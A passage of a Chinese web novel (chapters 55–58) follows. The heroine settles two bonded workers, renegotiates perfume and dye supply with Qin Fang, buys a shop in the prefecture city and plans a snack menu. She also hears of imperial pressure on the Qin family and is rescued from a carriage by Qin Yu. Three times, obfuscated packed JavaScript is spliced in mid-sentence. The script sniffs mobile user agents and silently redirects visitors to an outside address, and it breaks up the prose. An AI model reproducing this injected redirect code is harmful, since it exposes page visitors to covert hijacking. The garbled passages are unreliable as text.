“……谢梅放归农籍再转商籍，此后阿草的奴籍转至她的名下？” “是如此。” 平心而论，如此该是恰到好处。 虽心疼阿草，黄二嫂却也不至于忘记她与阿草的身份之别。 个人命运自有定数，眼下主顾已然打定注意，她自是不必为之伤怀。 “成。” 放归谢梅确是容易，只待放奴契加印，自当恢复从前的农籍，只是她之户籍早已随卖身契一同迁入丰县，放归之后需得择定一地录入文书才算落户。 瑛娘不欲叫她与老汪家有所牵扯，索性拿了商铺地契助她转为商籍，又借黄二娘的牙人文书与她签下长工契书，才带她与阿草去客栈订了一间长租屋。 长租屋家居简单，日租需得五十文钱，算来月银不过一两余，此间租户虽不受供一日三餐，但胜在热水可以随时取用，灶间也能付钱借用，正适合暂无去处的人租住，瑛娘一气便为谢梅与阿草定了三月。 待谢梅户籍之事落定，黄二嫂才拿了阿草的卖身契过于谢梅名下。 两人身份转变，一时却有些仓皇。 毕竟相处了许久，黄二嫂也想叫两人来日好生过活，一番推心置腹，又作主两人正式认亲，如此才叫谢梅眼中多了两分人气。 阿草倒是适应得快，一声“娘”叫出口，此后便再未叫错。 黄二嫂一颗心又酸又涩，默默注视阿草许久，才转向谢梅，叮嘱道：“以后好生给汪娘子帮手，她必然不会亏待你们。” 为办结此事，瑛娘接连奔波三日才算完，谢梅与阿草尽数看在眼中，闻言自是埋头认同。 黄二嫂这才安心，只简言与瑛娘道别，便头也不回地离开了。 待人走远，阿草才没忍着擦了擦泪，待泪擦净，却是黏着谢梅不肯再撒手。 谢梅轻柔抚摸阿草发顶，神情亦是无比柔和，再看瑛娘更如莲般笃信，“东家需用我做些什么？” “不急。”来年要去府城，却不好叫谢梅与阿草继续穿现有的旧衣，便点了四两碎银与谢梅安置，“这些碎银便作你母女二人此后三月的嚼用，每日三十文该够？” 客栈供水，一日仅吃食花用三十文自然尽够，谢梅算得来账，默默一盘算便知其中大有盈余，当即拨出三两来就要还与瑛娘。 瑛娘却是避而不收，“盈余的钱且拿去买几匹棉绢置办新衣，来年要去府城，再穿旧衣可不好行事。再者，你们身量太瘦，届时无法震慑泼皮又该如何？且按一日三十文来吃用，不拘鸡蛋、好肉，养好了才能多与我帮手。” “……多谢东家体谅。” “多谢东家！” 55. 城税 为保来年颜料供应，安置好谢梅与阿草，又将所赁院子的钥匙交与云氏以待收粮，瑛娘才着手忙碌起自个儿的事来。 去了府城，颜料与香露却不好再按季供应，正巧眼下还有最后一茬蓼蓝、桂花可采，瑛娘便叫村人采够了来年需用的量，再一并拉到城头制作。 此外，茜草根也需着人晾晒存备，此事无需瑛娘时刻盯着，只叫村人晒好了装袋，只待年前回村再一齐清点结银。 原料事宜安排妥当，瑛娘才去秦家与秦放商议更改供货时间。 听及香露改期七月再供，秦放却是有些为难，盖因香露限供，每供一季便会收取下一季的定钱，眼下正是桂花香露交付之期，若突然告知来年槐花香露改期再付，只怕会引起骚乱。 “颜料倒罢，晚一些运出去也可。只是香露……不如槐花香露还是按期供应，待五月里我与买客交付时再通知他们此后改期？” 延后改期于瑛娘而言实际无甚影响，以免秦放为难，便也点头应了。 秦放这才松了一口气，笑问瑛娘可能适时增量，“香露供不应求，便是骏阳府界内都不够，前头还有人找上了秦彧，想叫他说服我多供一倍，” 多供一倍其实也不够卖。 只是上头那位好大喜功，连带下头得信的佞臣也行奢靡之风，骏阳府曾属天家禄地，城中一举一动自然有耳目报与天听。 今时不同往日，便是秦放不欲破坏市场，也得考虑秦彧在官场是否走得顺畅，因而私心里还是希望瑛娘能够加倍供应，也好叫有心之人拿了去上供于天家。 香露多供确是无甚所谓，总归市场所在，瑛娘也不必咬死了拒绝。 “那来年便按两百份来供，三种香露定期七月底一齐供应。” 秦放亦未料到如此轻易便能说服瑛娘，愣怔几息，才又大笑出声，“瑛娘如此，倒叫我觉得亏待你了，不若来年这香露便与你提价至二十两一瓶？” “秦叔无需客气，一瓶十两已是挣了许多，还照原价即可。秦叔若是心中不安，不如每年舍上二十石江米与我，也好叫我在府城的营生顺利。” 以秦放往年与瑛娘的低价，二十石江米也不过二十两银，只是秦家庄子拢共只开了十亩地种江米，每年只有二十五石总产值，若要保障瑛娘每年二十石的供给，大不了再开十亩就是。 “成！如此瑛娘便也无需再与我江米的结银，总归贱价，十年的量也比不得你与我的让利。” “那我也不与秦叔多客气。” 秦放心觉熨帖，闲话一刻才想起瑛娘此前托付之事，当即话头一转，道：“铺子老章与你找好了，且看你是买是租。那铺子前头是两间铺面，可支开八张桌，后头是四间屋一间灶的院子，院中有井，院角也能辟出一块两三分的菜地。” “买价如何？” “那铺主急需用钱，折价四千八百两银出。” 铺子过户便算落户，届时有过所为证，她与云氏、玥娘的人头税便可免去，如此只需承担谢梅与阿草的人头税，以及商铺每日的市税。 如此看来，手头有钱，买下商铺也算不错。 “那我明日去一趟府城，请问章叔所在？” “老章白日里都在会市宣平街坐守，入城之后你且找一引路人带你去找漱墨坊，待寻得老章，再叫他带你去延兴街看铺子。” 有人探得前路，瑛娘转日便驾车前往府城。 府城比丰县繁华数十倍，城居治理也是天差地别。 以城门为例，丰县两道城门便贯穿南北，而府城则不止四方城门，还区别外城、内城分治。 外城设于南门以内，与内城隔春明门相望，其中往来多为周边农户及小门商户，买卖者以闲客、走商货郎与摊贩为主。 春明门内即是会市，自东往西分为和平、升平、延兴、宣平、太宁五街，其中和平、升平两街多作工匠、杂货商铺，延兴、宣平两街则攘括衣、食、耍三行，而太宁街最为特殊，因毗邻府学，街头尚有私塾、书坊开设，算得书香气最浓郁之地。 但凭秦彧的声名，秦家想挤入太宁街也不容易，眼下底气稍欠，秦放便只叫章文德在临近的宣平街置一铺面开售药墨与“苦禅墨”。 会市之后又有一道华林门，每日亥时闭门宵禁。 华林门后坊市划为四个区域，其中善安坊、利安坊、福安坊分据一市，永兴坊与官署并立。 引路人见瑛娘头回出入府城，事无巨细说与她听，待得寻到章文德，瑛娘便也大方地掏了三两碎银与他作打赏。 “许久未见，瑛娘似乎又长高了？” “汪瑛”的身体亏损太过，瑛娘精养了这么些年才见成果，如今虽不比她从前体量，但与此世众多女子相比已然算得高大，前些时候倒是又攀了一头，但近日隐隐有了些初潮将至的感觉，想来体量该也差不多定型了。 私密话自是不好与章文德讲明，瑛娘便只笑答：“是长高了些，昨年的新衣如今穿着也不太合体了，这不，才买了些布叫娘帮着裁制了新衣。” “这两年倒是没见你着鲜色衣裳，来年到府城营生倒是可以看看府城的颜色能不能入得你的眼，到时再裁些鲜色的新衣，穿着好看不是？” 瑛娘盈盈一笑，只柔声道好。 见瑛娘的骡车上有箱笼安置，章文德便也不多闲话，招来店中小厮招呼，便领了瑛娘往相邻的延兴街去。 “那商铺前身是作果点买卖，因东家急用银钱，碰巧店家租期将近也不打算继续租用，二者便谈好了提前腾出铺面，方便铺主寻得买主。我见那铺子还算合用，价格也不算高，便自做主帮你定了下来。” 果点买卖不会叫宅院多油污，眼下铺子腾空，除了有些荒凉杂乱，确是比寻常吃食买卖的铺面干净，瑛娘一见也觉满意。 铺主知晓今日会有人来洽谈买卖，一早便在铺中侯着，此时见瑛娘面无表情，不多言语，心头着实码不准这笔买卖能不能成，一时难免有些心焦。 待瑛娘踏进房间，见屋中家居一应搬空，心头虽是满意，面上却漏了些挑剔神情，铺主一看更是无法自持开口辩白：“却不是我舍不得这屋中陈设，盖因这铺子一早买来就是如此，此后租户都是自备家居，所用陈设甚是简单。眼下租户清退，我总不好叫他们把自个儿的东西留下与我撑面儿……不过娘子也无需担心，这些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15093024|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 错漏我都算在了买卖里，若是不信，娘子自可与旁人打听，我这铺子寻常可能卖上五千两银！” 置办家居也用不了两百两银，铺主这番打算确实也是诚心诚意。 但铺主这反应却是说明还有利可让，瑛娘估摸了一下家居价值，开口便要铺主再让一百两。 “……” 铺主的底线其实是一百五十两，瑛娘这番让价并不算过，铺主闷声纠结了一阵儿也就点头应了。 “我要现银，娘子可别用交子。” “行。什么时候过户？” “地契我随身带着，娘子备好现银就能去户所加印。” “成。” 得知停在铺子外头的骡车就有五千两现银，铺主如遭雷击，木愣愣上了车，直至抵达户所才回过神来。 章文德也是惊得不轻，哑口无声跟了一路，眼睁睁看着此番交易达成，才叹瑛娘属实心大。 铺面过户办得极快，趁日头还早，瑛娘又寻了户所文书将她与云氏、玥娘入册。 即日起便需缴纳商铺市税，办完入册，瑛娘便顺道缴了今年余下三月的市税。 从户所出来，章文德又领着瑛娘去和平街置办家居。 四间屋瑛娘打算留一间作货屋存放日需，余下三间她自住一屋，云氏与玥娘一屋、谢梅与阿草一屋，如此便需三张床、五只箱笼、六套被褥。 此外，铺子还需牌匾，灶间也需购置橱柜、锅台，铺面里也需待客结银的柜台，加上货屋里需用的货架，需五日才能完善。 府城的置价远高于丰县，将定好的牌匾书与木匠，又一通采买置备，霎时去了七十五两并二百五十文钱。 “说是小食铺，你还真叫木匠把牌匾打成小食铺了？” “如此也朗口不是？” 章文德“哈哈”大笑，默读了两遍如实点头认同。 因置备的家居需要时间入户，瑛娘只得将铺面钥匙托付与章文德，“铺中杂乱，还请章叔替我多费费心，来年我入府城再谢章叔。” “总归是请人来干活，费不了我什么功夫，来年叫我尝尝你家新做的小食就成。” “好。” 事情办完，瑛娘又请章文德入酒楼吃饭，章文德直呼不可，却是带着她寻了一间位于升平街的饭馆就餐。 府城的物价高得超乎寻常，便是普通饭馆，两荤一素也需二百文钱，若备待客席案，一餐食少说也得五两银才够，可想而知酒楼定价又作几何。 吃过便饭辞别章文德，瑛娘只得快鞭赶回村头。 这几日在两城花用共计四千八百五十余两，来年颜料、香露、口脂三门买卖需备本钱一百二十两、小食铺经营城税八十三两，五人餐食、日用少说也得花费五十来两，再算新衣、首饰、云氏与玥娘的年礼、谢梅与阿草的工钱，一年备个三百两花用应是尽够。 而三门买卖、加上丰县商铺年租，能维续年入三千一百零六两。 如此，只要小食铺一年盈收能达一千二百两银，五年之后小食铺收入便是纯利。 不过仅凭寻常小食怕是不好卖出高价，还待回村后再慢慢盘算来年如何买卖才好。 56. 河运 回村正好赶上晚食，瑛娘简单吃过便撇了碗筷躲进偏间计算食谱定价。 江米小食花样多，食谱可定糍糕、酒酿丸子，其中糍糕可以口味分别，不拘红枣、胡麻、红糖，皆可作糍糕夹心，而酒酿丸子可作甜饮，冷热都是好味。 除了甜口小食，咸口的也能备些，其中最简单的即是酱香饼，再有肉脯、酥肉，单吃着也不错。 其中肉脯能分甜、咸两味，端看食客喜好如何。 糍糕夹心用料不同，定价自然区别而定，红糖、红枣价格虽高，但用量不多，一份取五块，定价二十文一份尽够，而胡麻价高，用量也多，一份定价三十文才好。 酒酿丸子若作热饮，一碗定价三十文，若作冷饮，一碗便定价五十文。 江米之外，酱香饼与酥肉、肉脯都只占一份独有的酱料，用料不贵，却是不宜定价过高，且酱香饼与酥肉热时更利口，卖与不卖且待云氏自个儿决定，肉脯倒是冷热皆宜，且可存放七日之久，一份便是卖上五十文钱应也能成。 如此定价，红枣、红糖作馅儿的糍糕各备五十份，胡麻作馅儿的备上三十份，酒酿丸子热饮三十碗、冷饮二十碗，肉脯五斤分作五十份卖，一日净利便有六千九百文上下，合算三年便能收回此前付出。 眼下仓存江米尽够，六百斤胡麻也能顶用许久，加上余银一千六百五十两、金五百两，药墨七十方，四年量的花露、颜料，五百瓶口脂，还有稻米、生麦、番薯…… 心头有了底，瑛娘才觉睡意上头，蒙被一闭眼，一觉便至天明。 又忙过几日，瑛娘才闲下来教云氏做几种小食。 云氏掌厨能力不差，与她日日跟随的玥娘竟也有此天赋，只待瑛娘试过一遍，母女二人便将小食方子尽数记下。 不过云氏却觉定价过高，不欲一去府城便将摊子支得太开，又因玥娘年岁太小，因而拒了需要热油下锅的酱香饼与酥肉。 “照你的算法，仅这几样小食已经能赚得许多，我们初入府城还是稳妥些的好，免得招人注意，徒增风险。” “也好。商铺在我名下，但买卖是娘与玥娘做的，这门营生便分两成利与你们。” 刨除两成，瑛娘也还能得约摸一千八百四十两银，如何也算不得亏损。 “……” 云氏刚要拒绝，瑛娘抬手却打断了她未及出口的说辞，又道：“总归我指不定什么时候就嫁人去了，娘就当替玥娘攒嫁妆，若是觉得多，也可舍一些来帮扶大姐与瑾娘。” 瑛娘现在只盼短期内不要生乱，不然增税、徭役其发，首当其害的便是农籍壮丁。 瑾娘与云客年轻，但分户处之，若征徭役便只能云客自己顶上，若是不舍他去卖命，便得使钱与官府买命。 而琼娘夫家只是小富，近两年来地税增收，家里人口也一年比一年更多，怕是撑不了几年就要另想它法，瑛娘与她无甚交情，不可能平白与她夫家一门营生，只能叫云氏自个儿掏钱去贴补。 瑛娘话说得明白，云氏一时也没了言语，沉默半晌，却是抬手按了按酸涩的眼角，默默与瑛娘帮手制备颜料所需。 岁月不居，时节如流。[注1] 于老汪家而言，这一年年节过得无甚滋味。 将过正月初十五，云氏与玥娘便先一步离了大王村，趁此机会看过琼娘与瑾娘，才入丰县以待瑛娘同去府城。 这回进城，除了接上谢梅与阿草，瑛娘也与瓷器铺子说定了来年更换地址，又去药铺买了今年需用的口脂药包，这才自丰县一路奔赴府城。 年节的府城热闹非常。 甫一入外城，玥娘便为外城热闹惊讶非常，再过春明门见得城内盛况，才瑟缩于云氏身后，小心翼翼地看向往来锦衣行客。 云氏倒还能自持，不过她最远去过的便是丰县，乍然见识府城境况难免也有些临阵胆怯，直至骡车停靠在铺面跟儿前，见得章文德这个“熟人”才算缓过劲儿来。 铺面要用作小食买卖，院里也需住人，拿了钥匙章文德便着人前前后后洒扫、归置，年根儿前也叫了人来开灶祭神，如此，人一来便可入住，不缺烟火人气。 瑛娘一看铺面归置就知章文德如何费心尽力，可惜手头暂无能作礼的好物，只能笑问漱墨坊可还缺药墨镇店。 章文德眼神兀地一亮，却是坦言道：“正缺！那三十方药墨根本不经卖，东家废了百般心思也才留住两方在墨坊镇店，你若能再舍些与我自然最好！” 其实有了制墨的方子，只要找到药铺打探出瑛娘所购药包含括哪些药材，经年累月自能试出用材配比，毕竟秦家药园常与丰县药铺供给，若要逼其就范也很轻易，只是秦放向来不屑于此，手下管事自也不会借机行事。 “那便再与章叔二十方。” 章文德喜不自胜，待云氏领着玥娘、谢梅与阿草入后院安置，才与瑛娘摆起了闲。 “先头我还当公子是撞了大运，又有大儒为靠山才以二甲功名领了五品要职，近来每每见公子发愁，才知原是上头那位盯上了秦家家业。这世上当真没恁多好事！” 秦家以药材供给、商队远行积攒家业，今年又置产涉足制墨一业，因而秦放虽说只是一县乡绅，但放观全朝当也富逾泰半权贵，如此进入天家视野实在不足为奇。 若秦彧只是一介寻常乡绅之子，天家只字片语便能叫无数投机者围而攻之，届时性命枉顾、家业倾散，而天家只需随意与秦家一条罪名，便能叫此案名正言顺呈于人前。 可惜秦彧叫大儒先一步揽入门内，天家想动手博取秦家财富也得先考虑到大儒满门桃李，眼下只是与之一些难题，随口以“考校”之名便能令大儒无言相对，只看秦彧本人及秦家能否体会。 但直接以官职为诱贪图臣子家业，无论放在哪朝哪代都是能载入史册的不齿之举。 “眼下秦公子是为何事发愁？” “却是河运事宜。” 听及“河运”，瑛娘眉心一跳，难免联想到工事徭役。 未及追问，又听章文德继续道：“府衙工匠近百人，只作河运工事该是尽够，如此便无需征用民役。可上头开口就要公子先想法子征收百万两银为工事所用，公子又能朝何处摊手要来这笔巨款？” 秦家所有买卖整合一年纯利也不过二十万两银，天家责令一下，开口就要秦彧征收等比秦家五年纯利的税银，说不是为难怕也无人敢信。 况且骏阳府虽有河流流经，实际并未达到开办河运的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15098014|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 条件，若投入大笔银钱开筑码头通行货运，每年实际能与货船往来的期限当是不足一季，如此一来，货船将有泰半时间处于搁浅状态，还需不断投入资金维保，于商于国都属弊大于利。 “秦公子只是同知，其上官以为此事该当如何解决？” 同知之上便是知府，按理论，一府税务该由知府统筹，再不济还有特立税官，如何也轮不到一介同知操心。 “……”不提上官还好，一提此人章文德之脸色便愈加难看，实在忍无可忍，扫视四周确保无人能耳及，才与瑛娘低声实话，道：“咱们这位知府大人是顶头那位从前的王府属官，因从龙有功才被委以府衙重任。前头如何尚且不知，但自打公子昨年夏时就任，府衙一应事务便多由公子决策，偏这决策还得叫上官批复才可施行，公子多受掣肘，在任将将半年就已百般疲惫。” 无论何时何处，若上官不贤，下属能力再强也是无济于事。 此事瑛娘有所经历，因而仅从章文德语境便体会到这位知府究竟是何等“人才”。 不过此人如何与瑛娘也无甚关系，思及赋税徭役，又问：“如若秦公子征集不了上头要求的税银又当如何？” 章文德重重叹息，“公子不想加重百姓赋税，与知府上表提议酌情使骏阳府界内富商捐纳，知府上书半月便得回复，可见上头……哎！前头告示张榜，月余便有三十万捐银入库，可惜即便如此府衙库银也依旧远不够数，咱们这知府许是吃了挂落，深更半夜将公子叫去，直言叫公子请东家也捐，不然不成表率，无人从随。” 若非这位知府怒极上头表露了真意，秦彧怕是如何也猜不到上头这是盯上了秦家家业。 “那眼下如何？秦公子可能抗住压力拒增赋税？” “若照公子从前行事，怕是昨年便辞官卸任了！亏得这几年大儒亲身教导，公子行事婉转许多，眼下虽不满知府与天家贪得无厌的行事之法，却也没摆明了与其作对。近日府上常有书信往来，想来是憋闷之余求了师门兄弟共商。” 瑛娘回忆此前与秦彧几回短暂之缘，却是无法将之与章文德口中所述之人匹配，沉默半晌，索性略过了话题，与章文德客气，道：“我小妹玥娘手艺还不错，晚些我叫她先做几样小食与章叔尝尝鲜。” “成呀！正好公子近日食欲不佳，还请玥娘多做些，晚间我带些回去叫公子换换口味。” 瑛娘自是应下，叫来阿草嘱咐，“我要出去一趟，帮我与娘说一声。再泡些江米，叫玥娘备两份小食。” “好！” 江米还未来得及入库房，眼下就摆在铺面里头，阿草从货框翻出陶盆瓦罐，估着量装了两份的量，才系好粮袋、将翻乱的用具归位。 精养了几月，阿草丰腴了不少，面上带笑，办起事来也干净利落，章文德看了便夸，阿草也不见羞怯，捂着嘴笑与章文德问过好才端着东西跑走。 “这女工是你签的长工？” “嗯。” “确是不错。哎……拉着你说了颇多，耽误了你正事。小食铺何日开张？届时我再来贺。” “不耽误，今日也就看看城中市场。开张约摸得待二月里，到时再请章叔过店试味。” “成！” 57. 墨香 离了铺子，瑛娘自与章文德分道而行，打算先去外城看看往来农户与走商贩卖，再看城中各业市价。 行至外城，似瑛娘这般从内城而来的多为各家小厮、婢女或商家伙计，瑛娘衣着并不鲜亮，甚至比不如权贵婢女打眼，因而容貌气质虽是出众，往来者却也未将她当作贵家富户的闺房娘子过多关注，如此正好便利行事。 外城之中摊贩按序分行，散粮与家禽都在靠近外城墙的位置，临近春明门的位置才是普通吃食、木工、编织等类别的摊贩。 瑛娘一路问价，得知外城农户自销的生麦、生稻均价为四百文一石，若是舂好则按稻米八百文一石、麦粉六文一斤算。 但瑛娘看了两家的麦粉均觉不太如意，全然不如买了生麦来自个儿磨的，左右不过多费些人力，属实不必花钱去买别家粗制的麦粉。 而家禽之中，一年生的母鸡六十文，一年往上的老母□□十文，鹅一百文，这些卖家禽的农户多还带了鸡蛋、鹅蛋，以一文一枚、三文一枚的价格散卖。 再往春明门走，摊贩之中多以热食买卖为主，瑛娘一路询价，以三文钱的单价买得十个猪肉馒头，又以五文钱的单价买了十个羊肉炊饼，借此向炊饼娘子打听羊肉来源。 炊饼娘子倒也不瞒，朗声与瑛娘道：“咱们村儿的富户以养羊为业，连带着几家关系好的村人也养起了生羊。我这炊饼用的羊肉就是村头买来的，日日用料都新鲜儿，娘子若是吃着喜欢，想买，来日我便帮你买些带来？” “多谢娘子。”瑛娘回以一笑，却是没悖了她的好意，直言道：“就是不知这生羊是如何卖的？若是可以，我想买一头能产乳的生羊。” 炊饼娘子略显犹疑，道：“下崽的生羊我也不知他们卖是不卖，娘子家中可是有需吃奶的弟妹？若需饮用，还是打方大人的田庄买新鲜的牛乳更好，羊奶腥膻，实难入口，我们村儿的孩子都不爱喝。” 瑛娘恍然惊觉自个儿先前忽略了什么，思绪一转，只问：“敢问方大人是？” 似是没料到瑛娘竟不知“方大人”，炊饼娘子愣了一下才道：“方大人就是府衙方经历……” 一府经历约摸是正八品要职，主管文书收发、校注，以秦彧的忙碌程度来看，这位经历该也不得空才对，怎的家中管理田庄，反将他的声名推至普通农户也知的程度？ 瑛娘默然，倒也没与炊饼娘子说好歹，只道：“那便劳烦娘子明日帮我带一头生羊来，能有乳羊最好，没有也无妨。” “娘子竟是要买一整头羊么？” 府城羊肉市价为九十文，便是整羊售出一斤也能卖上七十五文的高价，而一头羊毛重约有六十来斤，合算便是四两余银。 这还只是肉山羊的价格，若是夕山现抓的野山羊，一头十两也有人抢，而圈养的乳羊等比野山羊的价格，说是昂贵全然算不得夸张。 “嗯。”瑛娘取了二两碎银与炊饼娘子，又道：“明日巳时会有一婶子来领羊，到时再与你结银。” “成！成！明日一早我一定赶来！” 定了羊，瑛娘才又逛去别处。 外城的摊贩也有手艺不错的木匠，小巧些的如妆点匣子、小屏、果碟，大件的也有春凳、镜台、藤席，其上多有雕花，可惜木料一般，又无生漆防腐，也只能作寻常用，卖不出高价。 瑛娘买了三张藤席，又挑拣了几个果碟、选了两个妆点匣子和镜台，准备带回去叫云氏和谢梅各自往屋里摆一件，至于藤席则洗好了晾干，待夏日炎热时再换上。 这些东西不算贵，拢共也就八、九百文，瑛娘索性给了木匠一两碎银，叫他同来的小子帮忙送到了城内。 一路将东西带回铺子，瑛娘便不再去外城闲逛，想着木质的果碟不太适合作开张那日的试味装碟，便又循着记忆找到了宣平街的瓷器铺子。 这铺子并非只卖寻常瓷器，瑛娘在店中转了一圈便找到了适用的攒盒。 攒盒中心圆碟下凹，便是装些汤水也不易洒，正适合用以盛装蘸料，而圆碟外围分出八个大小均匀的果碟，整合围成一个规整的圆。 这款攒盒适用于装点礼盒。 恰好晚间要与秦彧小食，买两套攒盒装点好再送去，此后小食铺开张也能借一借秦彧的光。 打定主意，瑛娘便与掌柜问价，掌柜也不管瑛娘买是不买，报了个二十两银的高价便不再多言。 “……” 如若只作寻常礼盒，这二十两银瑛娘决计不会点头，偏偏这礼盒更大的用处是“借光”，这钱不花似乎也说不过去。 “劳请掌柜取两套，我再选些别的物件，选定后再一道算？” “可。” 除了攒盒，瑛娘还看中了一款方形果碟和一款莲花边的平口果碟。 方碟长宽皆有三寸，深约有一指节高，适于盛装外带，届时再以木质提盒装点，带出去也算体面。 而莲花果碟径长五寸，装了糕点、肉脯摆在店中，不论食客试味、堂食，都好盛装摆盘。 自然，食客也能以油纸亦或家用的食盒将小食打包带走，但该备齐的自当备齐才好，免得食客心觉怠慢。 “方形果碟和莲花果碟可能定制？” 掌柜抬了抬眼，倒是没觉得奇怪，只问：“可是用作区别品类？” “是。” “可以定制，但定制价格高于原价五成，即方形一件九十文，莲花一件一百二十文。自然，定制所需的画样需客人自备，否则还需加付十两画师工费。” 瑛娘下意识皱眉头，默算了一笔账，却是打消了从丰县瓷器铺子定制的想法。 丰县瓷器虽也刷釉，但釉色多为白，若刷彩釉便会降低成率，出色也不多好看，若叫那位相熟的掌柜帮忙烧制，恐怕价格也不会比府城的便宜多少，倒不如直接交给经验更足的工坊省心。 “画样我出。” “成，每样需用几件？数量若是不多，恐怕需得等些时候与他人同炉烧制。” “暂需方形果碟与莲花果碟各一百件，可够一炉烧制？” “够，不知娘子何时提供画样？” “掌柜可有纸笔？” 掌柜这才正眼打量瑛娘，确定眼前之人并非此前见过的府城娘子，这才收回了视线，俯身自柜台里拿出了纸笔，推与瑛娘，道：“请。” 瑛娘要作的标识也简单，红枣的作宝相花纹，红糖的作皮球花纹，胡麻的作三 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15101078|158875||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 多纹，至于两味肉脯则以缠枝莲纹与鱼藻纹区别。 待得瑛娘快笔画完，掌柜对她已无任何轻视，拾起晾干的画纸仔细看过，不禁摇头赞叹，“娘子是哪家的？此前竟未听过娘子雅名。” 瑛娘笑笑未答。 每日贩卖的糍糕与肉脯份数不多，一味各备二十件方形果碟与二十件莲花碟足矣，只是酒酿丸子不好拎来提去，当以堂食最佳，因而还需备一些瓷碗才好。 思及此，瑛娘又问：“我见店中没有寻常碗盏，不知可能定制？” “能。不知娘子想做多大的？” “口径三尺即可，其中三十件作仰莲纹，二十件作萱草纹。果碟还请用白瓷做底、蓝纹刷釉，碗盏以青瓷做底，白纹上釉。” “青瓷碗一件需得二百文。” “可。”瑛娘再次画下纹样，想了想，又以“苦禅”作了一枚简单的印章标识，叫掌柜以红纹刷釉烧在果碟与碗盏底部，“加标识可需加价？” “无需。各样式合计二百五十件，十日后交付，娘子以为可否？” 小食铺二月开张，十日仅够。 瑛娘点头应过，掌柜才拿了珠算盘“啪啪”计算，“拢共二十八两并二百文，加上两套攒盒，与娘子抹个零，合计六十八两。” “攒盒我先带走，还请掌柜着人与我去延兴街小食铺取现银，正好认认路，方便十日后送定制的果碟碗盏与我。” “行。” 要与瓷器铺子结银，正好先前章文德给的二十方药墨现银还未及收点，瑛娘便顺便多取了八十两，连同身上的碎银与铜板以箱笼分装了八十三两并五十文钱，准备稍后去一趟府衙户所，将此一年的市税与谢梅、阿草的人头税预缴，免得到时忙起来忘了天日，再叫官差寻上门来清算。 走这一趟需穿过华林门与福安坊，华林门后只通马车，瑛娘只得将骡车停靠在门外，又以一两碎银托付城门官暂管，才得以抱着箱笼进入坊市。 坊市之内多为独门独户的宅院，但善安坊多为混居，其中最大院子是官办的慈幼院，隐蔽处则是下九流的勾栏。 而当中的利安坊与靠西的福安坊则多为内城商籍富户居所，至于府城最北面的永兴坊，那更是常人无法匹及的地界，寻常百姓家终其一生也买不得其中一方独院。 要去户所，最快的办法自是穿过福安坊一路直行至府衙，只是瑛娘抱着箱笼步行，往来的车马却不好避忌，说不得是无心还是有意，眼见瑛娘躲避不及，旁处一辆缓行马车反倒加了速，直直冲向瑛娘所行路径。 听及马鞭破风之声，瑛娘眼神一凛，然未及反应，却被一人拉住手臂兀地拽向一侧，失力间箱笼落地，瑛娘也撞进了此人怀中，顿觉一墨香扑鼻。 此味叫她熟悉异常，再经细嗅分明却是出自她手的油烟墨香。 瑛娘心念一动，抬头去看，先入目的是一道绯红，随即才是轮廓分明的下颚、笔直高挺的鼻梁。 “秦……大人？” 闻及瑛娘称谓，秦彧霎时松开了手，只耳根热度加剧，却不敢垂眸注视瑛娘，沉声问道：“可有受伤？” “未曾，多谢秦大人相帮。” “……不必客气。” 58. 园林 相较初见时，秦彧已完全褪去了稚嫩，又比秦家礼宴时添了几分凌厉，但此时耳根处绯红未褪，看来倒又多了两分旖旎。 瑛娘心道这人多半是生性爱脸红，不禁暗叹可惜。再抬眸，旋身去看摔落的箱笼，眼中已无任何好感氤氲。 箱笼装了预备缴付的税银，突然一摔便至零散银钱撒了满地，好在此地为坊市巷角，不至于似闹市一般遭人哄抢。 但无论如何，这般窘迫的境况都叫瑛娘心觉不爽。 马车未撞到人，驾车的马夫连一句歉意也无，或是碍于秦彧在场，马夫的神色也不自然，回身与车内之人小声禀报，待得几息之后那人才重重地“啧”了一声，撩开帷裳露出面目。 此人年纪不大，约摸与秦彧相差无几，但目光不正，便是容貌尚佳也平白叫人觉得他兔头麞脑。 偏他毫无自觉，视线在瑛娘身上来回游移，待秦彧错步挡至瑛娘身前才堪堪收起目光。 “秦大人，眼下正是你当值的时候吧？怎么跑到衙外跟别家闺秀拉拉扯扯啊？叫城中百姓瞧见多不好？” 秦彧神色冷峻，不欲与此人纠缠，抬手指向散落的银钱，道：“杨公子还是赶紧将东西捡来还与娘子为好，否则叫衙役看见，我还得与你父亲解释为何衙役平白与你难看。” “……” 杨公子面色一僵，再看秦彧的目光却是瞬间狠厉了起来，偏生秦彧一副无畏无惧的做派，杨公子再是怒目也无用，只能将怒气撒在马夫身上，一把甩下帷裳，抬脚将马夫踢下了车，厉声叫他去捡。 银钱捡作一堆，摔坏的箱笼却不好修复。 